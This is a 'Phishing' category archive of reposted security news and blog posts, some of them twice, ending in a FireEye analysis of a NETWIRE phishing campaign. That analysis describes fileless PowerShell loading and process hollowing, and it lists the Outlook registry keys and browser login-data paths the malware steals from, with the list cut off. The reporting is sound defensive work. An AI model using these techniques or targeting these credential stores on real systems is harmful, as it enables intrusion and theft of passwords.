Category Archives: Phishing

Blog | Avast EN: FB Password Problem, New Mirai, and More | Avast

Over 200 million Facebook passwords exposed internally

In a statement released today, Facebook divulged that some user passwords were being stored in readable format on certain internal data storage systems within the company. While the statement does not provide details on how or why the passwords were being stored in plain text, it does assure users that the issue has since been fixed and that potentially compromised accounts would be alerted.



Blog | Avast EN

Evidence mounts that Russian hackers are trying to disrupt the EU elections

Russian hackers are targeting government systems ahead of the EU parliament election, according to cybersecurity company FireEye. The firm says that two state-sponsored hacking groups -- APT28 (aka Fancy Bear) and Sandworm -- have been sending out authentic-looking phishing emails to officials in a bid to get hold of government information.

Via: CNBC

Latest tactics used by cybercriminals to bypass traditional email security

Cybercriminals are continuously using new strategies to get past email security gateways, with brand impersonation being used in 83 percent of spear-phishing attacks, while 1 in 3 business email compromise attacks are launched from Gmail accounts. Sextortion scams, a form of blackmail that makes up 10 percent of all spear-phishing attacks, continue to increase. Employees are also twice as likely to be the target of blackmail than business email compromise. These are the key findings … More

The post Latest tactics used by cybercriminals to bypass traditional email security appeared first on Help Net Security.

Brute-Force Attack Wave Uses Legacy Protocols, Credential Dumps to Compromise Cloud Accounts

A massive brute-force attack campaign used both legacy protocols and credential dumps to compromise cloud user accounts.

In a six-month study, Proofpoint observed a wave of brute-force attacks that originated mainly from Nigeria but also China, the U.S., Brazil and South Africa. These malicious operations abused various legacy protocols in the process; the vast majority leveraged IMAP, a legacy authentication protocol that bypasses multifactor authentication (MFA). Concurrently, the campaigns referred to several credential dumps to obtain username-password variations.

The attacks relied on compromised network devices such as routers and servers to conduct IMAP-based password-spraying attacks. These brute-force attempts were successful 44 percent of the time, according to Proofpoint. In those cases, the malefactors used the compromised credentials to steal access to users’ cloud application accounts. They then abused that access to send out phishing attacks to move laterally throughout the network and/or prey upon users employed at other organizations.

Not the First Brute-Force Attack Campaign to Involve IMAP

IMAP has been involved in similar operations in the past. Back in 2017, for instance, security researcher Stephen Atty discovered what appeared to be a slow-moving botnet sending out POP3/IMAP attempts at a slow rate so as to not raise any red flags with monitoring software. More than a year later, Roger Comply reported in Paranoid Penguin that he had observed another botnet using what he called the “drip” approach in its login attempts against targeted IMAP servers.

How to Strengthen Your Organization’s Email Defenses

Security professionals can help strengthen their organization’s email security posture by taking a layered approach to email defenses. This strategy should begin with the deployment of an external solution capable of scanning email for threats. They should also seek budget to create an email security awareness program to train the entire workforce to recognize, avoid and report phishing attacks.

The post Brute-Force Attack Wave Uses Legacy Protocols, Credential Dumps to Compromise Cloud Accounts appeared first on Security Intelligence.

‘Bad Tidings’ Phishing Campaign Targeting Saudi Government Agencies

An ongoing phishing campaign code-named “Bad Tidings” has been targeting several Kingdom of Saudi Arabia government agencies for years. Researchers at Anomali Labs first detected the Bad Tidings campaign back in November 2016. Since then, the operation has targeted four government agencies in Saudi Arabia: the Ministry of Labor and Social Development, the Ministry of […]… Read More

The post ‘Bad Tidings’ Phishing Campaign Targeting Saudi Government Agencies appeared first on The State of Security.

How Online Scams Drive College Basketball Fans Mad

Sports fans everywhere look forward to mid-March for the NCAA men’s college basketball tournament. However, it’s not just college basketball fans that look forward to this time of year. Cybercriminals use March to launch malicious campaigns in the hopes of gaining access to personal information from unsuspecting fans. Let’s take a look at the most popular techniques cybercriminals use to gain access to passwords and financial information, as well as encourage victims to click on suspicious links.

Online betting provides cybercriminals with a wealth of opportunities to steal personal and financial information from users looking to engage with the games while potentially making a few extra bucks. The American Gaming Association (AGA) estimates that consumers will wager $8.5 billion on the 2019 NCAA men’s basketball tournament. What many users don’t realize is that online pools that ask for your personal and credit card information create a perfect opportunity for cybercriminals to take advantage of unsuspecting fans.

In addition to online betting scams, users should also be on the lookout for malicious streaming sites. As fewer and fewer homes have cable, many users look to online streaming sites to keep up with all of the games. However, even seemingly reputable sites could contain malicious phishing links. If a streaming site asks you to download a “player” to watch the games, there’s a possibility that you could end up with a nasty malware on your computer.

Ticket scammers are also on the prowl during March, distributing fake tickets on classified sites they’ve designed to look just like the real thing. Of course, these fake tickets all have the same barcode. With these scams floating around the internet, users looking for cheap tickets to the games may be more susceptible to buying counterfeit tickets if they are just looking for the best deal online and are too hasty in their purchase.

So, if you’re a college basketball fan hoping to partake in this exciting month – what next? In order to enjoy the fun that comes with the NCAA tournament without the risk of cyberthreats, check out the following tips to help you box out cybercriminals this March:

  • Verify the legitimacy of gambling sites. Before creating a new account or providing any personal information on an online gambling website, poke around and look for information any legitimate site would have. Most gambling sites will have information about the site rules (i.e., age requirements) and contact information. If you can’t find such information, you’re better off not using the site.
  • Be leery of free streaming websites. The content on some of these free streaming websites is likely stolen and hosted in a suspicious manner, as well as potentially contains malware. So, if you’re going to watch the games online, it’s best to purchase a subscription from a legitimate streaming service.
  • Stay cautious on popular sports sites and apps. Cybercriminals know that millions of loyal fans will be logging on to popular sports sites and apps to stay updated on the scores. Be careful when you’re visiting these sites you’re not clicking on any conspicuous ads or links that could contain malware. If you see an offer that interests you in an online ad, you’re better off going directly to the website from the company displaying the ad as opposed to clicking on the ad from the sports site or app.
  • Beware of online ticket scams. Scammers will be looking to steal payment information from fans in search of last-minute tickets to the games. To avoid this, it’s best to buy directly from the venue whenever possible. If you decide to purchase from a reseller, make sure to do your research and only buy from trusted vendors.
  • Use comprehensive security software. Using a tool like McAfee WebAdvisor can help you avoid dangerous websites and links, and will warn you in the event that you do accidentally click on something malicious. It will provide visual warnings if you’re about to go to a suspicious site.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post How Online Scams Drive College Basketball Fans Mad appeared first on McAfee Blogs.

McAfee Blogs: How Online Scams Drive College Basketball Fans Mad

Sports fans everywhere look forward to mid-March for the NCAA men’s college basketball tournament. However, it’s not just college basketball fans that look forward to this time of year. Cybercriminals use March to launch malicious campaigns in the hopes of gaining access to personal information from unsuspecting fans. Let’s take a look at the most popular techniques cybercriminals use to gain access to passwords and financial information, as well as encourage victims to click on suspicious links.

Online betting provides cybercriminals with a wealth of opportunities to steal personal and financial information from users looking to engage with the games while potentially making a few extra bucks. The American Gaming Association (AGA) estimates that consumers will wager $8.5 billion on the 2019 NCAA men’s basketball tournament. What many users don’t realize is that online pools that ask for your personal and credit card information create a perfect opportunity for cybercriminals to take advantage of unsuspecting fans.

In addition to online betting scams, users should also be on the lookout for malicious streaming sites. As fewer and fewer homes have cable, many users look to online streaming sites to keep up with all of the games. However, even seemingly reputable sites could contain malicious phishing links. If a streaming site asks you to download a “player” to watch the games, there’s a possibility that you could end up with a nasty malware on your computer.

Ticket scammers are also on the prowl during March, distributing fake tickets on classified sites they’ve designed to look just like the real thing. Of course, these fake tickets all have the same barcode. With these scams floating around the internet, users looking for cheap tickets to the games may be more susceptible to buying counterfeit tickets if they are just looking for the best deal online and are too hasty in their purchase.

So, if you’re a college basketball fan hoping to partake in this exciting month – what next? In order to enjoy the fun that comes with the NCAA tournament without the risk of cyberthreats, check out the following tips to help you box out cybercriminals this March:

  • Verify the legitimacy of gambling sites. Before creating a new account or providing any personal information on an online gambling website, poke around and look for information any legitimate site would have. Most gambling sites will have information about the site rules (i.e., age requirements) and contact information. If you can’t find such information, you’re better off not using the site.
  • Be leery of free streaming websites. The content on some of these free streaming websites is likely stolen and hosted in a suspicious manner, as well as potentially contains malware. So, if you’re going to watch the games online, it’s best to purchase a subscription from a legitimate streaming service.
  • Stay cautious on popular sports sites and apps. Cybercriminals know that millions of loyal fans will be logging on to popular sports sites and apps to stay updated on the scores. Be careful when you’re visiting these sites you’re not clicking on any conspicuous ads or links that could contain malware. If you see an offer that interests you in an online ad, you’re better off going directly to the website from the company displaying the ad as opposed to clicking on the ad from the sports site or app.
  • Beware of online ticket scams. Scammers will be looking to steal payment information from fans in search of last-minute tickets to the games. To avoid this, it’s best to buy directly from the venue whenever possible. If you decide to purchase from a reseller, make sure to do your research and only buy from trusted vendors.
  • Use comprehensive security software. Using a tool like McAfee WebAdvisor can help you avoid dangerous websites and links, and will warn you in the event that you do accidentally click on something malicious. It will provide visual warnings if you’re about to go to a suspicious site.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post How Online Scams Drive College Basketball Fans Mad appeared first on McAfee Blogs.



McAfee Blogs

Fewer than 28% of gov.uk using DMARC effectively in line with guidelines

Only 28% of gov.uk domains have been proactive in setting up DMARC appropriately, in line with UK Government Digital Service (GDS) advice in preparation for the retirement of the Government Secure Intranet (GSI) platform in March 2019. Since 1996, the GSI framework has enabled connected organizations to communicate electronically and securely at low protective marking levels, according to Egress. The findings reveal a lack of preparation from several government email administrators in readying themselves for … More

The post Fewer than 28% of gov.uk using DMARC effectively in line with guidelines appeared first on Help Net Security.

Israeli fintech firms hit by Cardinal RAT malware

By Waqas

The IT security researchers at Palo Alto Networks’ Unit 42 have discovered a malware that has been targeting Israeli cyberspace especially those dealing with technology and financial sector. Dubbed Cardinal RAT (remote access Trojan) by researchers; the malware is currently targeting two Israeli fintech companies developing forex and cryptocurrency trading related software. The malware has been around since April 2017 […]

This is a post from HackRead.com Read the original post: Israeli fintech firms hit by Cardinal RAT malware

Threat Actors Use Fake Copyright Infringement Notifications in Instagram Hacking Campaign

Security researchers discovered that attackers are using fake copyright infringement notifications to hack Instagram influencer accounts.

Detected by Kaspersky Lab, the Instagram hacking campaign involves threat actors sending Instagram influencers fraudulent emails claiming that the social media network intends to permanently delete their account for copyright infringement. The attack email uses the social networking service’s official header and logo to deceive victims. It even originates from an email address — mail@theinstagram.team or info@theinstagram.team — that looks similar to Instagram’s actual support email, support@instagram.com.

Using these disguises, the email notifies targeted users that they have 24 hours to verify their account before it is deleted. Clicking on the email’s “Review complaint” button redirects users to a phishing page where they can supposedly appeal the decision to delete their profile.

At that point, users can proceed by clicking an “Appeal” link and submitting their Instagram credentials to the attackers. The scam then asks users to verify their email address by choosing their email provider and entering the login credentials for their account.

Just the Latest Instagram Hacking Attack

This is just the latest scam to target Instagram users. Back in August 2018, for instance, Mashable reported on a string of hacks in which threat actors took over users’ accounts and added a .ru email address to their profiles. News of another attack wave came a month later when Motherboard reported that attackers had hijacked at least four high-profile Instagrammers’ accounts and extorted them for money.

Most recently, Trend Micro detected yet another scam operation in February 2019 in which fraudsters targeted Instagram users with the false promise of a “verified” badge for their accounts.

How to Defend Against Phishing Attacks

Security professionals can help defend their organizations against phishing attacks by using ahead-of-threat detection to block potential phishing domains, even those that threat actors have cloned to look like legitimate websites.

Security teams should also test their phishing defenses by conducting a simulated phishing engagement. Organizations can then use this exercise to identify employees who need more training on social engineering attacks as well as to conduct follow-up testing for the entire workforce.

The post Threat Actors Use Fake Copyright Infringement Notifications in Instagram Hacking Campaign appeared first on Security Intelligence.

New research finds hospitals are easy targets for phishing attacks

New research from Brigham and Women’s Hospital in Boston finds hospital employees are extremely vulnerable to phishing attacks. The study highlights just how effective phishing remains as a tactic—the need for defense against and awareness of email scams is more critical than ever.

The research was a multi-center exercise that looked at results of phishing simulations at six anonymous healthcare facilities in the US. Research coordinators ran phishing simulations for close to seven years and analyzed click rates for more than 2.9 million simulated emails. Results revealed that 422,052 (14.2 percent) of phishing emails were clicked, which is a rate of one in seven.

Patient data at risk

Security professionals are acutely aware of the intense scrutiny placed on patient data and the regulatory requirements around HIPAA (Health Insurance Portability and Accountability Act). This new research on phishing in healthcare puts a spotlight on the vulnerability of this kind of data.

“Patient data, patient care, patient trust and financial stability may be on the line,” said study author William Gordon, MD, MBI, of the Brigham’s Division of General Internal Medicine and Primary Care. “Understanding susceptibility, but also what steps can be taken to mitigate it, are critical as cyberattacks continue to rise.”

Odds of clicks decreased with time

There was a positive finding in the study. Researchers noted that clicks on phishing emails went down with increasing campaigns. After institutions had run 10 or more phishing simulation campaigns, the odds of users clicking on fraudulent emails went down by more than one-third.

The findings make the case for solid awareness efforts to educate about the dangers of phishing, said Gordon.

“Things get better over time with awareness, education, and training,” he said. “Our study suggests that while the risk is high, there is an opportunity to mitigate it.”

Healthcare industry struggles with breach rate

Chris Carmody, senior vice president of enterprise technology and services at the University of Pittsburgh Medical Center (UPMC) and president of Clinical Connect Health Information Exchange, noted in an interview with Reuters Health News that phishing is a challenge in an increasingly digital healthcare environment.

“This is definitely a problem in all industries where people rely on e-communications, especially email,” Carmody said in the interview. “And health care is no different. We see clinical users whose primary focus is on patient care, and we’re trying to do our best to help them develop the knowhow to know what to look for so they can identify phishing attempts and report them to us.”

Carmody estimates that his security group at UMPC, which also runs phishing simulations, gets about 7,500 suspect emails forwarded to them each month, with about 12.5 percent of them being actually malicious.

But any number puts a healthcare facility at risk, as these kinds of institutions are particularly vulnerable to breach. A separate report from Beazley Breach Response finds that healthcare organizations suffered the highest number of data breaches in 2018 across any sector of the US economy. Healthcare institutions have a 41 percent reported breach rate, the highest of any industry.

Other figures from ratings firm SecurityScorecard find the healthcare industry is one of the lowest ranked industries when it comes to security practices. The report, titled SecurityScorecard 2018 Healthcare Report: A Pulse on The Healthcare Industry’s Cybersecurity Risk, looked at data from 1200 healthcare entities and ranked healthcare 15th out of 17 industries for overall cybersecurity posture.

The SecurityScorecard report noted the healthcare industry is one of the lowest performing industries in terms of endpoint security, posing a threat to patient data and potentially patient lives. In addition, 60 percent of the most common cybersecurity issues in the healthcare industry relate to poor patching cadence.

Healthcare phishing in the headlines

Healthcare phishing attempts that devastate facilities and lead to patient data leaks regularly make news headlines. In December 2018, an employee of Memorial Hospital at Gulfport, Mississippi was tricked by a phishing scheme and the result was the breached data of 30,000 patients.

The breach was discovered when investigators noticed an unauthorized party had gained access to an employee email account earlier in the month. Among the patient data leaked were emails, names, dates of birth, health data, and information about services patients had received at MHG. Social Security numbers were also leaked on some patients.

Phishing on the rise all over

Massive malware campaigns like Emotet and TrickBot have pushed phishing levels higher this year in many industries. Kaspersky Labs most recent Spam and phishing in 2018 report finds the number of phishing attacks that took place in 2018 more than doubled from the previous year.

Research from Sophos finds that 45 percent of UK businesses were hit by phishing attacks between 2016 and 2018. The study also revealed 54 percent had identified instances of employees replying to unsolicited emails or clicking the links in them.

The Malwarebytes 2019 State of Malware report finds all sectors are impacted by the kind of malware served up in phishing emails. Trojans like Emotet and TrickBot are particularly problematic in education, manufacturing, and retail. While healthcare fared poorly in the Brigham and Women’s study, every vertical is plagued by phishing.

How can business defend against phishing attacks?

Of all of the cybersecurity risks to organizations, the human element is always the toughest to mitigate. But, as the healthcare phishing study shows, user awareness does have a positive impact on click rates—the more campaigns were launched, the fewer employees who fell prey to fake emails.

There are plenty of free awareness and anti-phishing resources available that businesses can tap for training internally. For example, our anti-phishing guide offers suggestions and awareness tips for both employees and customers. And Google has an anti-phishing test you can access online to familiarize users with common phishing techniques. Of course, there are also many companies that offer training products for purchase.

However businesses choose to train employees, it’s important to have regular access to information and tools that promote awareness of evolving phishing techniques. In the healthcare industry, it’s not just about the bottom line—it could actually save lives.

The post New research finds hospitals are easy targets for phishing attacks appeared first on Malwarebytes Labs.

OpenDNS Umbrella Blog: Introducing Threat Busters: A Game of Threat Intelligence

We’ve been on a mission to protect the world from internet-based threats since the launch of our enterprise security product, Cisco Umbrella (formerly OpenDNS), in 2012. We talk a lot about what our product can do and the threats it’ll block you from, but we don’t talk enough about the research team that powers our product and how they do it.

Today, we’re changing that. Introducing Threat Busters: A new digital adventure where you can access our team’s latest security research and hunt down threats in a retro, underground cyberworld while you do it. If you’re feeling competitive, find as many “Easter eggs” as you can to boost your score and join our Leaderboard.

The site is live with content on malicious cryptomining, ransomware and phishing and the cyberattacks XBash, DanaBot and Roaming Mantis. We’ll continue to add new threat and attack content monthly, based on what we see happening in the security space.

Here’s a sneak peak of what is live:

Threat Trend Graphs

With 16,000+ enterprise customers in over 160 countries, we have a unique view of corporate internet traffic. For both malicious cryptomining and phishing, we’ll show you traffic by company size, vertical and geography, as well as the overall traffic trend for December 2018 through February 2019. Above is a pie chart showing top phishing traffic by vertical for the period December 2018 through February 2019. Traffic trend graphs for ransomware are coming soon.

How Cisco Umbrella blocks threats

It might be enough for you to know that Umbrella blocks these threats and attacks, but have you ever wondered how it’s actually done? For each threat and attack featured we’ll tell you how our team blocks the threat in question, from using open-source intelligence (OSINT) to algorithms and everything in-between.

We also include a list of Indicators of Compromise (IOCs) on the attack briefing pages. We do this so that any member of the information security community can use them to identify potentially malicious activity on their own system or network and improve early detection of future attack attempts using the intrusion detection systems (IDS) and security information and event management systems (SIEM).

What cyber attacks are roaming the internet?

We’ll handpick current attacks that we see roaming the internet and give you background on the threat, how Umbrella blocks it and illustrate how the attack works.

Cisco Umbrella & Talos Security Intelligence

Cisco Umbrella, also benefits from the Talos Security Intelligence and Research Group. We leverage their threat intelligence to help detect, analyze and protect against both known and emerging threats.

Take the first step to making your organization more secure.

Happy exploring!

The post Introducing Threat Busters: A Game of Threat Intelligence appeared first on OpenDNS Umbrella Blog.



OpenDNS Umbrella Blog

Is it time we raised expectations of politicians on cyber security?

Given the public perception that politicians are a bit clueless on tech/security issues, UK-based cyber security/ethical hacking firm Redscan decided to poll all 650 UK MPs to understand their thoughts

The post Is it time we raised expectations of politicians on cyber security? appeared first on The Cyber Security Place.

Current phishing defense strategies and execution are not hitting the mark

Few professionals are completely confident in their ability to assess the effectiveness of their phishing awareness efforts. In a new paper, Phishing Defense and Governance, released in partnership with Terranova Security, ISACA outlines key takeaways from this phishing research that reached security, assurance, risk and governance professionals, including: Only a slight majority (63 percent) regularly monitor and report on the effectiveness of their activities. 38 percent of respondents reported that their organizations develop security awareness … More

The post Current phishing defense strategies and execution are not hitting the mark appeared first on Help Net Security.

Massive attacks bypass MFA on Office 365 and G Suite accounts via IMAP Protocol

Threat actors targeted Office 365 and G Suite cloud accounts using the IMAP protocol to bypass multi-factor authentication (MFA).

Over the past months, threat actors have targeted Office 365 and G Suite cloud accounts using the IMAP protocol to bypass multi-factor authentication (MFA).

Experts at Proofpoint conducted an interesting study of massive attacks against accounts of major cloud services, The experts noticed that attackers leverage legacy protocols and credential dumps to increase the efficiency of massive brute force attacks.

Attacks against Office 365 and G Suite cloud accounts using IMAP are difficult to protect against with multi-factor authentication, where service accounts and shared mailboxes are notably vulnerable.” reads the study published by Proofpoint. “At the same time, targeted, intelligent brute force attacks brought a new approach to traditional password-spraying, employing common variations of the usernames and passwords exposed in large credential dumps to compromise accounts.”

The experts analyzed over one hundred thousand unauthorized logins across millions of monitored cloud user-accounts, below key findings from the study:

  • 72% of tenants were targeted at least once by threat actors  
  • 40% of tenants had at least one compromised account in their environment  
  • Over 2% of active user-accounts were targeted by malicious actors 
  • 15 out of every 10,000 active user-accounts were successfully breached by attackers 

The attacker’s primary goal is to carry out internal phishing, especially when the initial target does not have the access needed to transfer money or data. The access to a cloud account could be exploited by attackers for lateral movements and to expand footholds within an organization via internal phishing and internal BEC. Experts observed that compromised accounts are also used to launch external attacks.    

Giving a look at the sources of the attacks, most of them come from Nigerian IP addresses (40%), followed by Chinese IP addresses (26%).

According to the study, IMAP was the most abused legacy protocol. IMAP is a legacy authentication protocol that bypasses multifactor authentication (MFA). Experts pointed out that these attacks avoid account lock-out and appear as isolated failed logins and for this reason, they are hard to detect.

Below other data provided by the experts:

  • Approximately 60% of Microsoft Office 365 and G Suite tenants were targeted with IMAP-based password-spraying attacks 
  • Roughly 25% of Office 365 and G Suite tenants experienced a successful breach as a result 
  • Threat actors achieved a 44% success rate breaching an account at a targeted organization 

The experts observed a large number of IMAP-based password-spraying campaigns between September 2018 and February 2019. Proofpoint reported that 10% of active user accounts in targeted tenants were hit and 1% of targeted user accounts were successfully breached.

IMAP protocol attacks phishing

The attackers leveraged a botnet composed of thousands of hijacked network devices (i.e. routers, servers) to launch the attacks.

“These hijacked devices gained access to a new tenant every 2.5 days on average during a 50-day period,” continues Proofpoint.

China was the source for the vast majority of the IMAP-based attacks (53%), followed by Brazil (39%) and the United States (31%).

Most of the attacks (63%) originated from Nigerian IP addresses, followed by South African infrastructure (21%), and the United States via VPNs (11%).

This study demonstrates the increasing sophistication of threat actors around the world who are leveraging brute force methods, massive credential dumps, and successful phishing attacks to compromise cloud accounts at unprecedented scale. Service accounts and shared mailboxes are particularly vulnerable while multifactor authentication has proven vulnerable.” concludes the study.

“Attackers parlay successful compromises into internal phishing attacks, lateral movement in organizations, and additional compromises at trusted external organizations.”

Pierluigi Paganini

(SecurityAffairs – IMAP, hacking)

The post Massive attacks bypass MFA on Office 365 and G Suite accounts via IMAP Protocol appeared first on Security Affairs.

Security Affairs: Massive attacks bypass MFA on Office 365 and G Suite accounts via IMAP Protocol

Threat actors targeted Office 365 and G Suite cloud accounts using the IMAP protocol to bypass multi-factor authentication (MFA).

Over the past months, threat actors have targeted Office 365 and G Suite cloud accounts using the IMAP protocol to bypass multi-factor authentication (MFA).

Experts at Proofpoint conducted an interesting study of massive attacks against accounts of major cloud services, The experts noticed that attackers leverage legacy protocols and credential dumps to increase the efficiency of massive brute force attacks.

Attacks against Office 365 and G Suite cloud accounts using IMAP are difficult to protect against with multi-factor authentication, where service accounts and shared mailboxes are notably vulnerable.” reads the study published by Proofpoint. “At the same time, targeted, intelligent brute force attacks brought a new approach to traditional password-spraying, employing common variations of the usernames and passwords exposed in large credential dumps to compromise accounts.”

The experts analyzed over one hundred thousand unauthorized logins across millions of monitored cloud user-accounts, below key findings from the study:

  • 72% of tenants were targeted at least once by threat actors  
  • 40% of tenants had at least one compromised account in their environment  
  • Over 2% of active user-accounts were targeted by malicious actors 
  • 15 out of every 10,000 active user-accounts were successfully breached by attackers 

The attacker’s primary goal is to carry out internal phishing, especially when the initial target does not have the access needed to transfer money or data. The access to a cloud account could be exploited by attackers for lateral movements and to expand footholds within an organization via internal phishing and internal BEC. Experts observed that compromised accounts are also used to launch external attacks.    

Giving a look at the sources of the attacks, most of them come from Nigerian IP addresses (40%), followed by Chinese IP addresses (26%).

According to the study, IMAP was the most abused legacy protocol. IMAP is a legacy authentication protocol that bypasses multifactor authentication (MFA). Experts pointed out that these attacks avoid account lock-out and appear as isolated failed logins and for this reason, they are hard to detect.

Below other data provided by the experts:

  • Approximately 60% of Microsoft Office 365 and G Suite tenants were targeted with IMAP-based password-spraying attacks 
  • Roughly 25% of Office 365 and G Suite tenants experienced a successful breach as a result 
  • Threat actors achieved a 44% success rate breaching an account at a targeted organization 

The experts observed a large number of IMAP-based password-spraying campaigns between September 2018 and February 2019. Proofpoint reported that 10% of active user accounts in targeted tenants were hit and 1% of targeted user accounts were successfully breached.

IMAP protocol attacks phishing

The attackers leveraged a botnet composed of thousands of hijacked network devices (i.e. routers, servers) to launch the attacks.

“These hijacked devices gained access to a new tenant every 2.5 days on average during a 50-day period,” continues Proofpoint.

China was the source for the vast majority of the IMAP-based attacks (53%), followed by Brazil (39%) and the United States (31%).

Most of the attacks (63%) originated from Nigerian IP addresses, followed by South African infrastructure (21%), and the United States via VPNs (11%).

This study demonstrates the increasing sophistication of threat actors around the world who are leveraging brute force methods, massive credential dumps, and successful phishing attacks to compromise cloud accounts at unprecedented scale. Service accounts and shared mailboxes are particularly vulnerable while multifactor authentication has proven vulnerable.” concludes the study.

“Attackers parlay successful compromises into internal phishing attacks, lateral movement in organizations, and additional compromises at trusted external organizations.”

Pierluigi Paganini

(SecurityAffairs – IMAP, hacking)

The post Massive attacks bypass MFA on Office 365 and G Suite accounts via IMAP Protocol appeared first on Security Affairs.



Security Affairs

Attackers Sending Fake Copyright Infringement Notices to Instagram Users

Digital attackers are targeting high-profile Instagram users with fake copyright infringement notifications in a bid to hijack their accounts. Detected by Kaspersky Lab, this scheme begins when an Instagram influencer receives an email notification informing them that their “account will be permanently deleted for copyright infringement.” The email notice looks official in that it uses […]… Read More

The post Attackers Sending Fake Copyright Infringement Notices to Instagram Users appeared first on The State of Security.

Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing

Introduction

Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this "fileless" execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.

Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.

This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.

Activity Summary

The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.


Figure 1: Malicious script hosted on Google Drive

As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.


Figure 2: Alert raised by Internet Explorer

Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.

Technical Details

The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.

Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.


Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character


Figure 4: Type 2 obfuscation technique, which uses split and replace operations

This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.


Figure 5: Downloading the second-stage script and creating a scheduled task

The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.

After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.


Figure 6: De-obfuscated PowerShell script

The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  

Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.

Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.


Figure 7: Formatted PowerShell code

The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.

The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.

The following are the parameters for method R:

  • Path to InstallUtil.exe (or other .NET framework tools)
  • Decoded NETWIRE trojan

When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  


Figure 8: Processes spawned during attack

We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.

From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.

When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).


Figure 9: Windows APIs used in .NET dropper for process hollowing

After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.

High-Level Analysis of the Payload

The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.

Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.

The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.


Figure 10: Decompiled string decoding algorithm

From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:

  • Record mouse and keyboard events
  • Capture session logon details
  • Capture system details
  • Take screenshots
  • Monitor CPU usage
  • Create fake HTTP proxy

From the list of decoded strings, we were able to identify other features of this sample:

“POP3”

“IMAP”

“SMTP”

“HTTP”

"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\”

"Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\”

"Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\”

 

Stealing data from an email client

 

 

“\Google\Chrome\User Data\Default\Login Data”

“\Chromium\User Data\Default\Login Data”

“\Comodo\Dragon\User Data\Default\Login Data”

“\Yandex\YandexBrowser\User Data\Default\Login Data”

“\Opera Software\Opera Stable\Login Data”

